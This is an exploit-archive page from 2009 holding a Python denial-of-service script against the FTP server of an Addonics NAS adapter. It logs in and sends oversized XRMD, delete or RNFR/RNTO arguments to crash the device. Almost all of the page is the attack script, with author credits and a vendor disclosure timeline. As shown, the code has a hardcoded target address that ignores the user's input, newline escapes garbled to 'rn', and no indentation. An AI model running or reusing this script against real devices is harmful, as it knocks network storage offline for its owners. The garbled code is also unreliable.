[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Addonics NAS Adapter FTP Remote Denial of Service Exploit
# Published : 2009-05-01
# Author : h00die
# Previous Title : Bmxplay 0.4.4b (.BMX File) Local Buffer Overflow PoC
# Next Title : Beatport Player 1.0.0.283 (.M3U File) Local Buffer Overflow PoC
#!/usr/bin/python
######################################################
# Addonics NAS Adapter FTP server DoS
# Tested against NASU2FW41 Loader 1.17
# Coded by Mike Cyr, aka h00die
# mcyr2 at csc dot_____________com
# Notes: Since the HTTP server was so vulnerable, is
# this really a suprise?
# Greetz to muts and loganWHD, I tried harder
# http://www.offensive-security.com/offsec101.php turning script kiddies into ninjas daily
# Log: Vendor notification March 25, 2009
# Vendor response March 26, 2009
# Milw0rm release May 1, 2009
######################################################
import socket
import sys
buffer= 'a'
counter=1
ip = raw_input("IP: ")
un = raw_input("Username: ")
password = raw_input("Password: ")
print "Vulnerable commands"
print "1. rmdir"
print "2. delete"
print "3. rename"
command = raw_input("Command to crash (#): ")
if command == "1":
print "fuzzing " + ip + " with command rmdir"
elif command == "2":
print "fuzzing " + ip + " with command delete"
elif command == "3":
print "fuzzing " + ip + " with command rename"
else:
print "your an idiot"
sys.exit(1)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.2.101',21))
print s.recv(1024)
s.send('USER ' + un + 'rn')
print s.recv(1024)
s.send('PASS ' + password + 'rn')
print s.recv(1024)
if command == "1":
while len(buffer) <=512:
buffer = buffer + 'a'
counter=counter+1
s.send('XRMD ' + buffer + 'rn')
print 'rmdir ' + buffer + 'rn'
elif command == "2":
while len(buffer) <=523:
buffer = buffer + 'a'
counter=counter+1
s.send('delete ' + buffer + 'rn')
elif command == "3":
while len(buffer) <=526:
buffer = buffer + 'a'
counter=counter+1
s.send('RNFR ' + buffer + 'rn')
answer=s.recv(1024)
s.send('RNTO ' + buffer + 'rn')
answer=s.recv(1024)
if (answer == "550 Requested action not taken.rn"):
print "Stack smashed"
else:
print "fail: " + answer
s.close()
# www.Syue.com [2009-05-01]